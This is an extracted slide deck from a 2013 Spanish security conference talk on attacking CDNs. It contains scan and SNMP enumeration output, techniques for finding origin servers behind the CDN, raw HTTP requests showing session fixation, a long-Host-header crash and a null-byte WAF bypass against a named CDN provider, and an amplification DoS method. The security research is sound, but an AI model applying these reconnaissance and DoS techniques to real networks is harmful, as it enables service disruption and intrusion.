Download - Adivina quién viene a CDNear esta noche
NAVAJA NEGRACONFERENCE 2013
Adivina quién viene a CDNear esta nocheAlejandro Nolla
Felipe Martín
SHALL WE PLAY A GAME?
Love to. How about attacking a CDN?
WOULDN’T YOU PREFER A GOOD GAME OF CHESS?
#---------------------------------------------------------------------- def __init__(self): self.name = 'Alejandro Nolla Blanco' self.nickname = 'z0mbiehunt3r' self.role = 'Threat Intelligence Analyst' self.interests = ['networking', 'python', 'offensive security']
class AlejandroNolla(mandalorian):
• Programador coj*nudo• Y mejor amigo ;)• Se ha currado toda la
interfaz• Troll friend is troll• @fmartingr
Felipe Martín
¿Qué es y cómo funciona una red CDN?
Servidor de origenwww.dominio.com
www.dominio.com
• Utilización cada vez más habitual• Falsa sensación de invulnerabilidad• Mucho por aprender e investigar• Aritmética básica
Pero no toques, ¿por qué tocas?
+ =
Vectores de ataque
Servidor de origenwww.dominio.com
Vectores de ataque
Servidor de origenwww.dominio.com
Vectores de ataque
Servidor de origenwww.dominio.com
Vectores de ataque
Servidor de origenwww.dominio.com
Proveedor del servicio
Ident. serviciosResol. DNS Análisis tecn.
Qué
Cómo
• Resolución DNS masiva• Geolocalización de IPs de servidores• Asociación geolocalización -> País servido• Detección de balanceadores de carga/WAF/IPS• Identificación de servicios
Target #1: Frontales CDN
Nmap scan report for xxx.xxx.xxx.163
PORT STATE SERVICE REASON VERSION
20/tcp closed ftp-data reset
21/tcp closed ftp reset
25/tcp closed smtp reset
53/tcp closed domain reset
80/tcp open http syn-ack nginx
443/tcp open http syn-ack nginx
878/tcp closed unknown reset
3333/tcp open ssh syn-ack OpenSSH 4.3 (protocol 2.0)
8786/tcp open http reset Django httpd (WSGIServer 0.1; Python 2.4.3)
10050/tcp open tcpwrapped syn-ack
Nmap scan report for xxx.xxx.xxx.36
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack nginx 1.0.14
443/tcp open http syn-ack nginx 1.0.14
2121/tcp open ftp syn-ack ProFTPD 1.3.3c
3333/tcp open ssh syn-ack OpenSSH 4.3 (protocol 2.0)
8080/tcp open http syn-ack Apache httpd 2.2.3 ((CentOS))
8786/tcp open http syn-ack Django httpd (WSGIServer 0.1; Python 2.4.3)
10050/tcp open tcpwrapped syn-ack
Target #2: Infraestructura de red WAN
• BGP• ASn / prefijos• Transit / Peering / IXP
• Routers• Protocolos• Fabricante• Características• Rol
• Topologías
“Ecosistema” WAN
Jefe! Una de traceroute....
Infiriendo la arquitectura
xxx.xxx.18.152
xxx.xxx.18.197
xxx.xxx.18.203
xxx.xxx.118.134
xxx.xxx.118.138
xxx.xxx.240.195
• Cada prueba UDP utiliza un puerto de origen distinto
10 xxx.xxx.18.152 44 msec 48 msec 120 msec11 xxx.xxx.18.197 44 msec xxx.xxx.18.203 40 msec 44 msec12 xxx.xxx.118.134 40 msec 44 msec xxx.xxx.118.138 44 msec13 xxx.xxx.240.195 44 msec 44 msec 40 msec
Infiriendo la arquitectura
xxx.xxx.18.152
xxx.xxx.18.197
xxx.xxx.18.203
xxx.xxx.118.134
xxx.xxx.118.138
xxx.xxx.240.195
• Cada prueba UDP utiliza un puerto de origen distinto
10 xxx.xxx.18.152 44 msec 48 msec 120 msec11 xxx.xxx.18.197 44 msec xxx.xxx.18.203 40 msec 44 msec12 xxx.xxx.118.134 40 msec 44 msec xxx.xxx.118.138 44 msec13 xxx.xxx.240.195 44 msec 44 msec 40 msec
Infiriendo la arquitectura
xxx.xxx.18.152
xxx.xxx.18.197
xxx.xxx.18.203
xxx.xxx.118.134
xxx.xxx.118.138
xxx.xxx.240.195
• Cada prueba UDP utiliza un puerto de origen distinto
10 xxx.xxx.18.152 44 msec 48 msec 120 msec11 xxx.xxx.18.197 44 msec xxx.xxx.18.203 40 msec 44 msec12 xxx.xxx.118.134 40 msec 44 msec xxx.xxx.118.138 44 msec13 xxx.xxx.240.195 44 msec 44 msec 40 msec
Infiriendo la arquitectura
xxx.xxx.18.152
xxx.xxx.18.197
xxx.xxx.18.203
xxx.xxx.118.134
xxx.xxx.118.138
xxx.xxx.240.195
• Cada prueba UDP utiliza un puerto de origen distinto
10 xxx.xxx.18.152 44 msec 48 msec 120 msec11 xxx.xxx.18.197 44 msec xxx.xxx.18.203 40 msec 44 msec12 xxx.xxx.118.134 40 msec 44 msec xxx.xxx.118.138 44 msec13 xxx.xxx.240.195 44 msec 44 msec 40 msec
• Comúnmente utilizado para troubleshooting• Puede proporcionar valiosa información
• xe-11-1-0.edge1.NewYork1.Level3.net• Fabricante: juniper• Tipo de interfaz: 10_gigabit_ethernet• Rol: peering• Localización: Nueva York• Propietario: level3
Resolución inversa DNS
161/udp open snmp udp-response| snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197| TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179| TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23| TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179| TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179| TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179| TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179| TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179| UDP xxx.xxx.xxx.196:123 *:*| UDP xxx.xxx.xxx.196:161 *:*|_ UDP xxx.xxx.xxx.196:162 *:*
Conexiones activas en el router
161/udp open snmp udp-response| snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197| TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179| TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23| TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179| TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179| TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179| TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179| TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179| UDP xxx.xxx.xxx.196:123 *:*| UDP xxx.xxx.xxx.196:161 *:*|_ UDP xxx.xxx.xxx.196:162 *:*
Conexiones activas en el router
Telnet
161/udp open snmp udp-response| snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197| TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179| TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23| TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179| TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179| TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179| TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179| TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179| UDP xxx.xxx.xxx.196:123 *:*| UDP xxx.xxx.xxx.196:161 *:*|_ UDP xxx.xxx.xxx.196:162 *:*
Conexiones activas en el router
BGP
161/udp open snmp udp-response| snmp-interfaces: | GigabitEthernet0/1| IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248| MAC address: 00:14:a8:00:00:2c (Cisco Systems)| Type: ethernetCsmacd Speed: 1 Gbps| Status: up| Traffic stats: 722.55 Mb sent, 4.19 Gb received| GigabitEthernet0/2| IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252| MAC address: 00:14:a8:00:00:2d (Cisco Systems)| Type: ethernetCsmacd Speed: 1 Gbps| Status: up| Traffic stats: 3.22 Gb sent, 3.13 Gb received| Loopback7| IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255| Type: softwareLoopback Speed: 4 Gbps| Status: up|_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
Interfaces en el router
161/udp open snmp udp-response| snmp-interfaces: | GigabitEthernet0/1| IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248| MAC address: 00:14:a8:00:00:2c (Cisco Systems)| Type: ethernetCsmacd Speed: 1 Gbps| Status: up| Traffic stats: 722.55 Mb sent, 4.19 Gb received| GigabitEthernet0/2| IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252| MAC address: 00:14:a8:00:00:2d (Cisco Systems)| Type: ethernetCsmacd Speed: 1 Gbps| Status: up| Traffic stats: 3.22 Gb sent, 3.13 Gb received| Loopback7| IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255| Type: softwareLoopback Speed: 4 Gbps| Status: up|_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
Interfaces en el router
161/udp open snmp udp-response| snmp-interfaces: | GigabitEthernet0/1| IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248| MAC address: 00:14:a8:00:00:2c (Cisco Systems)| Type: ethernetCsmacd Speed: 1 Gbps| Status: up| Traffic stats: 722.55 Mb sent, 4.19 Gb received| GigabitEthernet0/2| IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252| MAC address: 00:14:a8:00:00:2d (Cisco Systems)| Type: ethernetCsmacd Speed: 1 Gbps| Status: up| Traffic stats: 3.22 Gb sent, 3.13 Gb received| Loopback7| IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255| Type: softwareLoopback Speed: 4 Gbps| Status: up|_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
Interfaces en el router
BGP/OSPF
Identificando Anycast BGP (RIPEstat)
• Serialización :• Tamaño de paquete / Velocidad del enlace• 1500 bytes / 1Gbps = 0.12ms de retardo
• Buffering o encolado:• Depende de la congestión del interfaz
• Propagación:• Velocidad de la luz en el vacío ~300,000km/seg• Índice de refracción de la fibra óptica ~1.48• Velocidad de la luz en fibra óptica ~200,000km/seg (300,000*(1/1.48))
• RTT mide el tiempo de ida y vuelta
Latencia de red (serialización + buffering + propagación)
• Serialización :• Tamaño de paquete / Velocidad del enlace• 1500 bytes / 1Gbps = 0.12ms de retardo
• Buffering o encolado:• Depende de la congestión del interfaz
• Propagación:• Velocidad de la luz en el vacío ~300,000km/seg• Índice de refracción de la fibra óptica ~1.48• Velocidad de la luz en fibra óptica ~200,000km/seg (300,000*(1/1.48))
• RTT mide el tiempo de ida y vuelta
Latencia de red (serialización + buffering + propagación)
Trilateración
Trilateración
• Puntos de intercambio de tráfico• La seguridad es responsabilidad de cada participante• Localizaciones comunes para las principales redes CDN• peeringdb.com: BBDD pública con información de peering
• Peering públicos• Peering privados• Capacidades del enlace• Información variada sobre el tráfico
IXP (Internet Exchange Point)
IXP en el mapa de Internet
• Necesitamos potenciales candidatos (ASn/rangos)• Solicitar recurso no cacheable
• GET / buscador/?query=consulta HTTP/1.1• Dos vías de análisis
• Cabeceras HTTP• Contenido de la respuesta
Target #3: Servidor de origen
Servidor de Origen
HTTP/1.1 200 OKDate: Sun, 20 Nov 2012 10:12:20 GMTServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Length: 2032Content-Type: text/htmlVary: Accept-Encoding
Análisis de cabeceras HTTP
AKAMAI
HTTP/1.1 200 OKServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Type: text/htmlContent-Length: 2032Date: Sun, 20 Nov 2012 10:12:16 GMTConnection: keep-aliveVary: Accept-Encoding
Servidor de Origen
HTTP/1.1 200 OKDate: Sun, 20 Nov 2012 10:12:20 GMTServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Length: 2032Content-Type: text/htmlVary: Accept-Encoding
Análisis de cabeceras HTTP
AKAMAI
HTTP/1.1 200 OKServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Type: text/htmlContent-Length: 2032Date: Sun, 20 Nov 2012 10:12:16 GMTConnection: keep-aliveVary: Accept-Encoding
Servidor de Origen
HTTP/1.1 200 OKDate: Sun, 20 Nov 2012 10:12:20 GMTServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Length: 2032Content-Type: text/htmlVary: Accept-Encoding
Análisis de cabeceras HTTP
AKAMAI
HTTP/1.1 200 OKServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Type: text/htmlContent-Length: 2032Date: Sun, 20 Nov 2012 10:12:16 GMTConnection: keep-aliveVary: Accept-Encoding
Servidor de Origen
HTTP/1.1 200 OKDate: Sun, 20 Nov 2012 10:12:20 GMTServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Length: 2032Content-Type: text/htmlVary: Accept-Encoding
Análisis de cabeceras HTTP
AKAMAI
HTTP/1.1 200 OKServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Type: text/htmlContent-Length: 2032Date: Sun, 20 Nov 2012 10:12:16 GMTConnection: keep-aliveVary: Accept-Encoding
Servidor de Origen
HTTP/1.1 200 OKDate: Sun, 20 Nov 2012 10:12:20 GMTServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Length: 2032Content-Type: text/htmlVary: Accept-Encoding
Análisis de cabeceras HTTP
AKAMAI
HTTP/1.1 200 OKServer: IBM_HTTP_ServerAccept-Ranges: bytesContent-Type: text/htmlContent-Length: 2032Date: Sun, 20 Nov 2012 10:12:16 GMTConnection: keep-aliveVary: Accept-Encoding
• No somos vulnerables a DDoS, usamos CDN (ahí, provocando)
• Se descubrieron los servidores de origen• De producción• De pre-producción• Así como servidores de pruebas
• Vulnerables a múltiples ataques DoS• Detección de balanceadores de carga
• Y enumeración de IPs internas
Resultados en entorno real
• No somos vulnerables a DDoS, usamos CDN (ahí, provocando)
• Se descubrieron los servidores de origen• De producción• De pre-producción• Así como servidores de pruebas
• Vulnerables a múltiples ataques DoS• Detección de balanceadores de carga
• Y enumeración de IPs internas
Resultados en entorno real
• Notificadas múltiples vulnerabilidades• Comunicación sólo hasta tener datos• Rápidamente arregladas• Múltiples intentos (infructuosos) de feedback• Varias vulnerabilidades no notificadas :D
Target #4: Proveedor servicio CDN
XSS Reflejado / Almacenado
Session Fixation
GET / HTTP/1.1Host: 190.93.240.253 ; __cfuid=cookie_tamperingUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0[...]
HTTP/1.1 409 ConflictServer: cloudflare-nginxDate: Sat, 06 Jul 2013 19:12:03 GMTContent-Type: text/htmlConnection: keep-aliveCache-Control: max-age=6Expires: Sat, 06 Jul 2013 19:12:09 GMTCF-RAY: 89e9ab725d3024aSet-Cookie: __cfduid=d06b07472e09dc[...]fc71373137923; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.240.253; __cfuid=cookie_tamperingContent-Length: 2707
Potencial DoS/BoF de servidor backend
GET / HTTP/1.1Host: 190.93.240.253 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBC[...]
HTTP/1.1 504 Gateway Time-outServer: cloudflare-nginxDate: Sat, 06 Jul 2013 19:14:11 GMTContent-Type: text/htmlContent-LengthConnection: keep-aliveCF-RAY: 89e9ab725d3024aSet-Cookie: __cfduid=d06b[...]7923; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.240.253 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbc
Posible bypass de WAF (no notificado)
GET /api/v2/zstore/get?zsn=preset&z=aaaa.com</>&atok=1374[...]63 HTTP/1.1Host: www.cloudflare.com[...]
HTTP/1.1 200 OKServer: cloudflare-nginx[...]Content-Length: 71
{"request":{"act":"zstore_get"},"result":"error","msg":"Invalid zone."}
Posible bypass de WAF (no notificado)
GET /api/v2/zstore/get?zsn=preset&z=aaaa.com%00</>&atok=1374[...]63 HTTP/1.1Host: www.cloudflare.com[...]
HTTP/1.1 200 OKServer: cloudflare-nginx[...]Content-Length: 169
{"request":{"act":"zstore_get"},"result":"error","msg":"Could not find aaaa.com\u0000<\/> under your account. Domains must be signed up and active on CloudFlare."}
¿Atacar un CDN?
¿Atacar un CDN?
¿Atacar un CDN?
• Mapear infraestructura existente• Comprender la cohesión• Identificar puntos débiles• “It’s not a bug, it’s a feature”• Comprender la arquitectura interna
de los dispositivos
Atacar un CDN
El ataque de los cinco puntos de presión
Network boundaries y relaciones BPG
• Identificación de fronteras de la red:• Aplicación de políticas de enrutamiento• Zona crítica en cuanto a capacidad y funcionamiento del routing
• 4 te1-2-10g.ar3.DCA3.gblx.net (67.17.108.146)• 5 sl-st21-ash-8-0-0.sprintlink.net (144.232.18.65)
• Identificación de relación BGP• t2-1.peer01.loudoun.va.ena.net (207.191.187.106)• ip65-46-186-97.z186-46-65.customer.algx.net (65.46.186.97)
Network boundaries y relaciones BPG
ISP Backbone
Transit ISP
Peer ISP
Cliente 1
Cliente 2
Explotando las relaciones entre peers
Provider A
Customer
CustomerCustomer
Multi-Homed Customer
Customer Customer
Customer
Provider CProvider B
Peering
Transit
Explotando las relaciones entre peers
Provider A
Customer
CustomerCustomer Customer Customer
Customer
Provider CProvider B
Peering
Transit
Multi-Homed Customer
• Necesitamos asegurar el “hit”• Solicitar recurso no existente (forzamos un 404)• Solicitar recurso no cacheable• Jugamos con la cabecera “Vary”
• No necesitamos recibir la respuesta del CDN ;)• Solicitamos recursos pesados• Throughput: peticiones/sec * IPs origen * frontales CDN
CDN-minigun (amplificando, que es gerundio)
Arquitectura en los routers
Imagen obtenida de http://wiki.nil.com/Control_and_Data_plane
• Protocolos de enrutamiento (Routing Information Database)• Procesador RISC (Instrucciones en software)• Maneja algunas excepciones (IP options, ICMP generation, etc)
Procesamiento de paquetes
Slow Path (Control Plane)
• Paquetes enviados a través del router• Circuitos integrados ASIC (Instrucciones en hardware)
Fast Path (Data Plane)
• ¿Fallo en el enlace?• Pérdida de sesión BGP• Efecto cascada (withdrawal de prefijos)
• Consumir CPU / buffers• Low-Rate TCP-Targeted DoS / CXPST
Atacando el control plane
• Una red CDN es un conjunto de redes• Múltiples y diversos dispositivos• Diferentes políticas de seguridad
• Mayor superficie de ataque• Son necesarios técnicas y ataques más
elaboradas
Conclusiones
Rondita de preguntas